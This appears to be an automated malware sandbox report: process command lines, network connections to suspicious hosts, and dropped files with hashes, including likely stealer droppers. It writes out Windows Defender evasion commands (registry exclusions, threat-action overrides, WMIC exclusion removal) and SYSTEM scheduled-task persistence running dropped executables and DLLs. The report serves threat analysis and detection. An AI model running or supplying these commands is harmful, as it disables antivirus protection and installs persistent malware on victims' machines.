"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:42:09 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe\" y7 /bDIwdidmD 385118 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "WKALCIrwIEiqhKBsn"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3604 -s 468

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe y7 /bDIwdidmD 385118 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\MXQseY.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\BMVcbVB.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "jiLwFdOzPPQiWLm"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\rdCPiWU.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\PHYIqOX.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\bHPIeip.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\OykorCq.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 00:46:38 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\jYqRZrSf\lKPZiHb.dll\",#1 /tEhydidBC 385118" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\jYqRZrSf\lKPZiHb.dll",#1 /tEhydidBC 385118

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\jYqRZrSf\lKPZiHb.dll",#1 /tEhydidBC 385118

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 440

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 1596

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"

Network

Country Destination Domain Proto
RU 147.45.47.70:80 147.45.47.70 tcp
RU 185.215.113.67:40960 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
US 8.8.8.8:53 judgecaption.hair udp
SE 194.54.164.123:80 judgecaption.hair tcp
US 8.8.8.8:53 download.winzip.com udp
BE 88.221.83.203:443 download.winzip.com tcp
US 8.8.8.8:53 www.installportal.com udp
US 35.81.211.41:443 www.installportal.com tcp
US 8.8.8.8:53 yip.su udp
US 104.21.79.77:443 yip.su tcp
US 8.8.8.8:53 pastebin.com udp
US 104.20.3.235:443 pastebin.com tcp
US 8.8.8.8:53 gigapub.ma udp
DE 185.172.128.82:80 185.172.128.82 tcp
RU 5.42.66.47:80 5.42.66.47 tcp
US 8.8.8.8:53 f000.backblazeb2.com udp
US 8.8.8.8:53 free.360totalsecurity.com udp
RU 5.42.66.47:80 5.42.66.47 tcp
US 35.81.211.41:443 www.installportal.com tcp
US 104.153.233.177:443 f000.backblazeb2.com tcp
FR 51.75.247.100:443 gigapub.ma tcp
NL 151.236.127.172:443 free.360totalsecurity.com tcp
GB 85.192.56.26:80 85.192.56.26 tcp
US 8.8.8.8:53 ipm.corel.com udp
US 8.8.8.8:53 api.myip.com udp
BE 2.17.107.107:443 ipm.corel.com tcp
US 104.26.9.59:443 api.myip.com tcp
US 8.8.8.8:53 www.installportal.com udp
BE 2.17.107.107:443 ipm.corel.com tcp
US 35.81.211.41:443 www.installportal.com tcp
US 8.8.8.8:53 apps.identrust.com udp
BE 2.17.107.107:443 ipm.corel.com tcp
BE 2.17.107.226:80 apps.identrust.com tcp
US 35.81.211.41:443 www.installportal.com tcp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 st.p.360safe.com udp
US 8.8.8.8:53 s.360safe.com udp
US 8.8.8.8:53 iup.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 tr.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
IE 54.76.174.118:80 tr.p.360safe.com udp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
NL 151.236.127.172:80 iup.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 int.down.360safe.com udp
GB 13.224.81.127:80 int.down.360safe.com tcp
GB 13.224.81.104:80 int.down.360safe.com tcp
GB 13.224.81.45:80 int.down.360safe.com tcp
GB 13.224.81.32:80 int.down.360safe.com tcp
GB 13.224.81.45:80 int.down.360safe.com tcp
US 8.8.8.8:53 sd.p.360safe.com udp
GB 18.165.158.188:80 sd.p.360safe.com tcp
US 8.8.8.8:53 iplogger.com udp
US 104.21.76.57:443 iplogger.com tcp
GB 13.224.81.45:80 int.down.360safe.com tcp
GB 13.224.81.104:80 int.down.360safe.com tcp
GB 13.224.81.127:80 int.down.360safe.com tcp
GB 13.224.81.45:80 int.down.360safe.com tcp
GB 13.224.81.45:80 int.down.360safe.com tcp
GB 13.224.81.104:80 int.down.360safe.com tcp
GB 13.224.81.45:80 int.down.360safe.com tcp
GB 13.224.81.32:80 int.down.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 orion.ts.360.com udp
NL 82.145.215.156:443 orion.ts.360.com tcp
GB 13.224.81.32:80 tcp
GB 13.224.81.45:80 tcp
GB 13.224.81.127:80 tcp
US 8.8.8.8:53 ocsp.crlocsp.cn udp
US 101.198.193.5:80 ocsp.crlocsp.cn tcp
US 8.8.8.8:53 crl.crlocsp.cn udp
CN 180.163.251.149:80 crl.crlocsp.cn tcp
US 8.8.8.8:53 www.microsoft.com udp
US 8.8.8.8:53 tconf.cloud.360safe.com udp
US 8.8.8.8:53 tconf.cloud.360safe.com udp
IE 54.76.114.22:53 tconf.cloud.360safe.com udp
IE 54.194.209.120:80 tconf.cloud.360safe.com tcp
IE 54.76.114.22:53 tconf.cloud.360safe.com udp
US 8.8.8.8:53 u.qurl.cloud.360safe.com udp
US 8.8.8.8:53 tconf.cloud.360safe.com udp
US 8.8.8.8:53 tconf.cloud.360safe.com udp
IE 54.194.209.120:53 tconf.cloud.360safe.com udp
IE 54.194.209.120:80 tconf.cloud.360safe.com tcp
IE 54.194.209.120:53 tconf.cloud.360safe.com udp
IE 54.77.52.141:80 tcp
IE 52.209.66.100:80 tconf.cloud.360safe.com tcp
IE 54.77.146.221:80 tcp
US 8.8.8.8:53 s.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 s.360totalsecurity.com udp
NL 82.145.213.43:80 s.360totalsecurity.com tcp
CN 171.8.167.65:80 crl.crlocsp.cn tcp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 spec.cloud.360safe.com udp
US 104.192.108.152:80 spec.cloud.360safe.com tcp
US 8.8.8.8:53 conf.f.360.cn udp
CN 180.163.243.86:80 conf.f.360.cn tcp
CN 180.163.243.146:80 conf.f.360.cn tcp
US 8.8.8.8:53 service-domain.xyz udp
US 54.210.117.250:443 service-domain.xyz tcp
US 54.210.117.250:443 service-domain.xyz tcp
US 54.210.117.250:443 service-domain.xyz tcp
US 54.210.117.250:443 service-domain.xyz tcp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.187.238:443 clients2.google.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 172.217.16.225:443 clients2.googleusercontent.com tcp
US 8.8.8.8:53 api2.check-data.xyz udp
US 44.237.26.169:80 api2.check-data.xyz tcp
US 8.8.8.8:53 tconf.cloud.360safe.com udp
IE 54.76.114.22:53 tconf.cloud.360safe.com udp
IE 54.194.209.120:1053 tconf.cloud.360safe.com udp
IE 54.194.209.120:53 tconf.cloud.360safe.com udp
IE 54.194.213.125:80 54.194.213.125 tcp
IE 54.194.213.125:80 54.194.213.125 tcp
IE 54.194.209.120:1053 tconf.cloud.360safe.com udp
IE 54.194.209.120:53 tconf.cloud.360safe.com udp

Files

memory/2252-0-0x00000000011B0000-0x0000000001682000-memory.dmp

memory/2252-1-0x0000000077A20000-0x0000000077A22000-memory.dmp

memory/2252-2-0x00000000011B1000-0x00000000011DF000-memory.dmp

memory/2252-3-0x00000000011B0000-0x0000000001682000-memory.dmp

memory/2252-5-0x00000000011B0000-0x0000000001682000-memory.dmp

\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

MD5 b2a3971887df35a0e25ebce1d88f255e
SHA1 062e3404b45f64e899492a48c61c0cf6f897f88f
SHA256 24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a
SHA512 194edff3bff3aaf72d617767277c9cc5dd5cc5fccd71c65b88b1afcdb1c1687764f960150703f3abc4f31d40ce6b64ee2317853481f5bfe8ca3f35abfa0f9179

memory/2252-15-0x00000000011B0000-0x0000000001682000-memory.dmp

memory/2660-16-0x0000000001170000-0x0000000001642000-memory.dmp

memory/2660-17-0x0000000001170000-0x0000000001642000-memory.dmp

memory/2660-18-0x0000000001170000-0x0000000001642000-memory.dmp

memory/2660-20-0x0000000001170000-0x0000000001642000-memory.dmp

memory/2660-21-0x0000000001170000-0x0000000001642000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

MD5 208bd37e8ead92ed1b933239fb3c7079
SHA1 941191eed14fce000cfedbae9acfcb8761eb3492
SHA256 e1fd277ffc74d67554adce94366e6fa5ebc81f8c4999634bcc3396164ba38494
SHA512 a9c3c32573a16b7ca71a12af6e8c8e88502b66bae2465a82dd921fbc6e0c833b9b1c2d436963df189dd9d68568e1be9128826a2e59f1d5fe066b637d2d866715

memory/2644-38-0x0000000000020000-0x0000000000021000-memory.dmp

memory/2644-39-0x0000000000020000-0x0000000000021000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

MD5 84bf36993bdd61d216e83fe391fcc7fd
SHA1 e023212e847a54328aaea05fbe41eb4828855ce6
SHA256 8e6d8b5a004c8f21bee1bbe4213c6d78cf80e439b38f587e963e9bb4569aaffa
SHA512 bb3241949618ad2d39057e085e150f43b4d41d74efc4658d9c27f8c0ec80420191517a2c0b6b7e225c4e50e02cd031cdfd178e05b9a869847a3c27b210d09caf

memory/332-57-0x0000000000930000-0x0000000000982000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Tmp47CB.tmp

MD5 1420d30f964eac2c85b2ccfe968eebce
SHA1 bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA512 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

MD5 c4ffab152141150528716daa608d5b92
SHA1 a48d3aecc0e986b6c4369b9d4cfffb08b53aed89
SHA256 c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475
SHA512 a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

MD5 0b7e08a8268a6d413a322ff62d389bf9
SHA1 e04b849cc01779fe256744ad31562aca833a82c1
SHA256 d23a10b3ff0c565ea8ee7f54bcded0582e1e621ebad69d4523d6746f6d8e0e65
SHA512 3d226673e30bbbc27e0a5a6c64bf81eca475c697486b20141df7975bef97901d4865b88f41937f5e3dd00b437f24f91493f80cb69aa366b7a49cd17b26197ba4

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

MD5 05b11e7b711b4aaa512029ffcb529b5a
SHA1 a8074cf8a13f21617632951e008cdfdace73bb83
SHA256 2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa
SHA512 dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

MD5 749073f260169957a61c1b432f666857
SHA1 bd7868f93e93c73fedd39f1a2877c474f4f9c37d
SHA256 2c8153f6f636f81331153a773085374ee43e599a141acfd005ae9834070fea45
SHA512 1a2a48c9081cb52d2b0a8bf83b3f4f699ca1145c31f65c3392fb0a5d71c796615f6ecca7e32a527b4b32953ddaab77d988c7c077c6691404cef5e5ddae818013

memory/948-144-0x0000000000890000-0x000000000089A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

MD5 0099a99f5ffb3c3ae78af0084136fab3
SHA1 0205a065728a9ec1133e8a372b1e3864df776e8c
SHA256 919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
SHA512 5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

memory/2660-159-0x0000000001170000-0x0000000001642000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

MD5 17687f01ca5191c5e9dd733b30248ea2
SHA1 9b63db46a9d58b945dd9b850236ed8d4d7d3567a
SHA256 37b3035464123d188316fc8e7574f2e31768df08aca8e9dc2adceb41d34f2428
SHA512 d366482d520fb250de54441daa9744129e692c24faeec2e7dce071370cfeeb00b50ef10fe47a3d788d3c4a17719d6133420ab99c6384798ea2017dca6260eb3c

memory/948-194-0x00000000001F0000-0x00000000001F6000-memory.dmp

memory/948-195-0x0000000001E30000-0x0000000001E8C000-memory.dmp

memory/1416-252-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1416-256-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1416-261-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1416-260-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1416-258-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1416-254-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1416-262-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1416-264-0x0000000000400000-0x0000000000408000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\f766864\Load.html

MD5 1757c2d0841f85052f85d8d3cd03a827
SHA1 801b085330505bad85e7a5af69e6d15d962a7c3a
SHA256 3cf5674efaaf74beccd16d1b9bcf3ffb35c174d6d93375bc532b46d9b4b4ed35
SHA512 4a12a55aac846f137c18849302e74d34df70ea5aaff78d57fce05b4776bedcde9e1b1032734e29650bcbac3e6932dfef75d97931443446a23e21cf5b3072dd9a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 75f6621557b915a177516f589d5b1be2
SHA1 b5cd09710479434c04ac81f2d4a83ca4fccb6eea
SHA256 59d26d55e65383e50af50295f6bdf47127a1ba7daceb5caddd4519eb850173ad
SHA512 4e29451142eaaef9517231cc5761608facb6565277c68dcf428057ccc126227f604f7396dc8585683bde0fe34036e73cf3435dd834bb3369531226bb46ce8826

C:\Users\Admin\AppData\Local\Temp\Cab6DEF.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\Local\Temp\f766864\common\js\jquery-1.11.2.min.js

MD5 5790ead7ad3ba27397aedfa3d263b867
SHA1 8130544c215fe5d1ec081d83461bf4a711e74882
SHA256 2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0
SHA512 781acedc99de4ce8d53d9b43a158c645eab1b23dfdfd6b57b3c442b11acc4a344e0d5b0067d4b78bb173abbded75fb91c410f2b5a58f71d438aa6266d048d98a

C:\Users\Admin\AppData\Local\Temp\f766864\common\js\external.js

MD5 140918feded87fe0a5563a4080071258
SHA1 9a45488c130eba3a9279393d27d4a81080d9b96a
SHA256 25df7ab9509d4e8760f1fdc99684e0e72aac6e885cbdd3396febc405ea77e7f6
SHA512 56f5771db6f0f750ae60a1bb04e187a75fbee1210e1381831dcc2d9d0d4669ef4e58858945c1d5935e1f2d2f2e02fe4d2f08dd2ab27a14be10280b2dd4d8a7c6

C:\Users\Admin\AppData\Local\Temp\f766864\common\js\common.js

MD5 87daf84c22986fa441a388490e2ed220
SHA1 4eede8fb28a52e124261d8f3b10e6a40e89e5543
SHA256 787f5c13eac01bd8bbce329cc32d2f03073512e606b158e3fff07de814ea7f23
SHA512 af72a1d3757bd7731fa7dc3f820c0619e42634169643d786da5cce0c9b0d4babd4f7f57b12371180204a42fec6140a2cff0c13b37d183c9d6bbaeb8f5ce25e5f

C:\Users\Admin\AppData\Local\Temp\f766864\config\config.js

MD5 34f8eb4ea7d667d961dccfa7cfd8d194
SHA1 80ca002efed52a92daeed1477f40c437a6541a07
